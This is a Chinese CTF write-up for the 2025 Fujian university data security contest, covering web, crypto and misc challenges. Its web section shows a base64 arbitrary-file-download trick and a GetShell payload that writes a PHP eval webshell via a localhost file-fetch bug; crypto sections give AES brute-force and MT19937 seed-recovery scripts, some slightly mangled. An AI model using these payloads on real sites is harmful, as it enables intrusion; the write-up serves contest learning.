文章总结： 这篇文章是2025年福建省大学生数据安全大赛的Writeup，包含Web、Crypto和Misc三类题目的解题思路。Web部分展示了文件下载漏洞利用、文件包含和GetShell技术；Crypto部分介绍了AES密钥破解和MT19937伪随机数种子还原；Misc部分则展示了图片隐写和GIF帧排序技巧。文章提供了详细的代码示例和截图，对CTF参赛者有实用参考价值。
综合评分： 88
文章分类： CTF,WEB安全,漏洞分析,代码审计,逆向分析

CTF | 2025年福建省大学生数据安全大赛部分WP

原创

不学安全

不学安全

2025年11月25日 17:41
福建

免责声明

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

前言

感谢好心人给的报告才有东西水一水公众号

#

Web

一、Music

访问题目地址

点击歌曲下载发现URL为

http://127.0.0.1/download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=

尝试将download.php进行base64编码后下载文件

http://127.0.0.1/download.php?url=ZG93bmxvYWQucGhw

查看文件代码

<?phperror_reporting(0);include("hereiskey.php");$url&nbsp;=&nbsp;base64_decode($_GET['url']);if($url&nbsp;==&nbsp;"hereiskey.php"&nbsp;||&nbsp;$url&nbsp;==&nbsp;"buxiangzhangda.mp3"&nbsp;||&nbsp;$url&nbsp;==&nbsp;"xingxingdiandeng.mp3"&nbsp;||&nbsp;$url&nbsp;==&nbsp;"download.php") {&nbsp; &nbsp;&nbsp;$filesize&nbsp;=&nbsp;filesize($url);&nbsp; &nbsp;&nbsp;header("Pragma: public");&nbsp; &nbsp;&nbsp;header("Cache-Control: must-revalidate, post-check=0, pre-check=0");&nbsp; &nbsp;&nbsp;header("Cache-Control: private",&nbsp;false);&nbsp; &nbsp;&nbsp;header("Content-Transfer-Encoding: binary");&nbsp; &nbsp;&nbsp;header("Content-Type: audio/mpeg");&nbsp; &nbsp;&nbsp;header("Content-Length: "&nbsp;.&nbsp;$filesize);&nbsp; &nbsp;&nbsp;header("Content-Disposition: attachment; filename="&nbsp;.&nbsp;$url);&nbsp; &nbsp;&nbsp;echo&nbsp;file_get_contents($url);&nbsp; &nbsp;&nbsp;exit;}&nbsp;else&nbsp;{&nbsp; &nbsp;&nbsp;echo&nbsp;"Access Forbidden!";}?>

发现hereiskey.php文件

进行编码后下载

http://127.0.0.1/download.php?url=aGVyZWlza2V5LnBocA==

得到flag

二、文件包含

页面只有显示

我会一直看着你类似的话

扫目录发现隐藏一个www.zip的压缩包

打开看代码发现是要用

包含pearcmd

但是实在找不到做题记录了

参考链接：

https://blog.mo60.cn/index.php/archives/502.html

三、GetShell

<?phpif(isset($_GET) && !empty($_GET)) {&nbsp; &nbsp;&nbsp;$url&nbsp;=&nbsp;$_GET['file'];&nbsp; &nbsp;&nbsp;$path&nbsp;=&nbsp;"upload/"&nbsp;.&nbsp;$_GET['path'];}&nbsp;else&nbsp;{&nbsp; &nbsp;&nbsp;show_source(__FILE__);&nbsp; &nbsp;&nbsp;exit();}if(strpos($path,&nbsp;"..") > -1) {&nbsp; &nbsp;&nbsp;die('This is a waf!');}if(strpos($url,&nbsp;'http://127.0.0.1/') ===&nbsp;0) {&nbsp; &nbsp;&nbsp;file_put_contents($path,&nbsp;file_get_contents($url));&nbsp; &nbsp;&nbsp;echo&nbsp;"console.log($path&nbsp;update successed!)";}&nbsp;else&nbsp;{&nbsp; &nbsp;&nbsp;echo&nbsp;"Hello.Geeker";}?>

分析程序会对 url 中的$file 进行访问，然后将返回的内容写入到$path 文件中，再将包含$path 的页面进行返回

并且$file 参数必须以 http://127.0.0.1/开头。所以可以将返回页面作为$file 的返回内容写入到$path 文件中来写 shell

Payload：

?path=1.php&file=http://127.0.0.1/?file=http://127.0.0.1/upload/&path=<?php+@eval($_POST[qwer]);+?>

上传一句话木马进行连接

CRYPTO

一、the key to AES

给了个task.py的脚本

分析代码

给了个密文给了key长度为6但是没有给key

已知明文b'0123456789abcdef'对比 MD5 哈希值与给定 c1，匹配即得正确 key

最后用正确的key 生成 AES 密钥，对 c2 执行 AES-ECB 解密，去除 PKCS7 填充后得到原始 flag

# -*- coding: utf-8 -*-from crypto.cipher import AESfrom crypto.Util.Padding import unpadfrom hashlib import md5def gen_key(key_str):    padded_key = key_str.encode() + b'\x0a' * 10    assert len(padded_key) == 16  #密钥长度    return padded_key# 已知条件（来自题目）plain_c1 = b''  # c1原始明文target_c1 = ''  # c1哈希值found_key = None3print("正在破解key...")for key_num in range(0, 1000000, 2):    key_str = f"{key_num:06d}"    aes_key = gen_key(key_str)    # 加密明文并计算MD5，匹配目标c1    aes = AES.new(aes_key, AES.MODE_ECB)    cipher = aes.encrypt(plain_c1)    current_c1 = md5(cipher).hexdigest()    if current_c1 == target_c1:        found_key = key_str        print(f"成功破解key：{found_key}")        breakif found_key:    # c2密文    c2 = b''    # 生成AES密钥并解密    final_aes_key = gen_key(found_key)    aes_decrypt = AES.new(final_aes_key, AES.MODE_ECB)    padded_flag = aes_decrypt.decrypt(c2)    flag = unpad(padded_flag, 16).decode('utf-8')    print(f"\n最终flag：{flag}")

二、guess what

题目给了一个output.txt和task文件

#

思路

用MT19937 伪随机数生成器从给的output.txt文件反推 seed种子

再暴力破解noise通过(seed) + (noise)编码后，用 PKCS7 填充至 16 字节获得密钥

最后用16 字节密钥初始化 AES 解密器，解密密文

import&nbsp;osimport&nbsp;randomfrom&nbsp;typing&nbsp;import&nbsp;Listimport&nbsp;sysimport&nbsp;subprocesstry:&nbsp; &nbsp;&nbsp;from&nbsp;Crypto.Cipher&nbsp;import&nbsp;AES&nbsp; &nbsp;&nbsp;from&nbsp;Crypto.Util.Padding&nbsp;import&nbsp;pad, unpadexcept&nbsp;ImportError:&nbsp; &nbsp;&nbsp;print("Installing pycryptodome...")&nbsp; &nbsp; subprocess.check_call([sys.executable,&nbsp;"-m",&nbsp;"pip",&nbsp;"install",&nbsp;"pycryptodome"])&nbsp; &nbsp;&nbsp;from&nbsp;Crypto.Cipher&nbsp;import&nbsp;AES&nbsp; &nbsp;&nbsp;from&nbsp;Crypto.Util.Padding&nbsp;import&nbsp;pad, unpadCIPHERTEXT =&nbsp;b'\x87\xf1\x35\xd0\x4a\x3b\x9c\xcf\x45\x07\xec\x35\x1b\x63\x07\x1c\xf5\x6e\x0a\x41\xb8\xc4\x87\xaf\x68\x3a\xec\x61\x7c\x1a\x19\x2a\x6d\xf3\x06\xe0\x70\xc8\xd8\x64\x00\x7e\xf2\x4c\x88\x05\x72\x2d'def&nbsp;get_small_primes(limit:&nbsp;int) ->&nbsp;List[int]:&nbsp; &nbsp; sieve = [True] * (limit +&nbsp;1)&nbsp; &nbsp; sieve[0] = sieve[1] =&nbsp;False&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(2,&nbsp;int(limit **&nbsp;0.5) +&nbsp;1):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;sieve[i]:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;j&nbsp;in&nbsp;range(i * i, limit +&nbsp;1, i):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sieve[j] =&nbsp;False&nbsp; &nbsp;&nbsp;return&nbsp;[i&nbsp;for&nbsp;i&nbsp;in&nbsp;range(2, limit +&nbsp;1)&nbsp;if&nbsp;sieve[i]]def&nbsp;find_seed(target_bits:&nbsp;str, num_check:&nbsp;int&nbsp;=&nbsp;10) ->&nbsp;int&nbsp;or&nbsp;None:&nbsp; &nbsp; max_val =&nbsp;1&nbsp;<<&nbsp;32&nbsp; &nbsp; sqrt_max =&nbsp;1&nbsp;<<&nbsp;16&nbsp; &nbsp; small_primes = get_small_primes(sqrt_max)&nbsp; &nbsp; segment_size =&nbsp;1&nbsp;<<&nbsp;20&nbsp;&nbsp;&nbsp; &nbsp; start =&nbsp;1&nbsp;<<&nbsp;31&nbsp; &nbsp; total_range = max_val - start&nbsp; &nbsp; total_segments = (total_range + segment_size -&nbsp;1) // segment_size&nbsp; &nbsp;&nbsp;for&nbsp;seg_idx, low&nbsp;in&nbsp;enumerate(range(start, max_val, segment_size)):&nbsp; &nbsp; &nbsp; &nbsp; high =&nbsp;min(low + segment_size -&nbsp;1, max_val -&nbsp;1)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"Searching segment&nbsp;{seg_idx +&nbsp;1}/{total_segments}:&nbsp;{low}&nbsp;to&nbsp;{high}")&nbsp; &nbsp; &nbsp; &nbsp; sieve = [True] * (high - low +&nbsp;1)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;p&nbsp;in&nbsp;small_primes:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;p * p > high:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; start = ((low + p -&nbsp;1) // p) * p&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;j&nbsp;in&nbsp;range(max(start, p *&nbsp;2), high +&nbsp;1, p):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;j >= low:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sieve[j - low] =&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(high - low +&nbsp;1):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p = low + i&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;p %&nbsp;2&nbsp;==&nbsp;0&nbsp;or&nbsp;not&nbsp;sieve[i]:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; random.seed(p)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; matched =&nbsp;True&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;k&nbsp;in&nbsp;range(num_check):&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; temp =&nbsp;bin(random.getrandbits(16))[2:].zfill(16)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;temp != target_bits[k *&nbsp;16&nbsp;: (k +&nbsp;1) *&nbsp;16]:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; matched =&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;matched:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"Found matching seed:&nbsp;{p}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;p&nbsp; &nbsp; &nbsp; &nbsp; progress = ((seg_idx +&nbsp;1) / total_segments) *&nbsp;100&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"Finished segment&nbsp;{seg_idx +&nbsp;1}/{total_segments}. Progress:&nbsp;{progress:.2f}%")&nbsp; &nbsp;&nbsp;return&nbsp;Nonedef&nbsp;decrypt_flag(seed:&nbsp;int) ->&nbsp;bytes:&nbsp; &nbsp;&nbsp;for&nbsp;noise&nbsp;in&nbsp;range(1,&nbsp;21):&nbsp; &nbsp; &nbsp; &nbsp; key = pad((str(seed) +&nbsp;str(noise)).encode(),&nbsp;16)&nbsp; &nbsp; &nbsp; &nbsp; aes = AES.new(key, AES.MODE_ECB)&nbsp; &nbsp; &nbsp; &nbsp; pt = aes.decrypt(CIPHERTEXT)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;unpad(pt,&nbsp;16)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;ValueError:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue&nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError("Flag not found within noise range 1..20.")def&nbsp;main():&nbsp; &nbsp; here = os.path.dirname(os.path.abspath(__file__))&nbsp; &nbsp;&nbsp;with&nbsp;open(os.path.join(here,&nbsp;"output.txt"),&nbsp;"r")&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; data = f.read()&nbsp; &nbsp; &nbsp; &nbsp; bit_str =&nbsp;''.join([ch&nbsp;for&nbsp;ch&nbsp;in&nbsp;data&nbsp;if&nbsp;ch&nbsp;in&nbsp;'01'])&nbsp; &nbsp; seed = find_seed(bit_str)&nbsp; &nbsp;&nbsp;if&nbsp;seed&nbsp;is&nbsp;None:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("No seed found.")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp; &nbsp;&nbsp;print(f"[+] Seed =&nbsp;{seed}")&nbsp; &nbsp; random.seed(seed)&nbsp; &nbsp; generated =&nbsp;''&nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(1248):&nbsp; &nbsp; &nbsp; &nbsp; temp =&nbsp;bin(random.getrandbits(16))[2:].zfill(16)&nbsp; &nbsp; &nbsp; &nbsp; generated += temp&nbsp; &nbsp;&nbsp;if&nbsp;generated == bit_str:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("Verified full output.")&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print("Full output does not match.")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp; &nbsp; flag = decrypt_flag(seed)&nbsp; &nbsp;&nbsp;print(f"[+] Flag:&nbsp;{flag.decode()}")if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

Misc

一、Paint

文件下载是一张图片

一开始以为是跟LSB有关系尝试一会发现没什么线索

之后丢到hxd里面发现图片里面有一段神秘的16进制

16进制转字符串再base64解密，得到XY坐标串

最后将坐标串转换成图片

#

二、Gif

一个二维码的gif图

#

分离gif图片后重新将图片排序

#

#

#

#

#

#

#

推荐看看23年的线下题目比较有意思

https://blog.mo60.cn/index.php/archives/2023-fjss.html

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：不学安全 不学安全《CTF | 2025年福建省大学生数据安全大赛部分WP》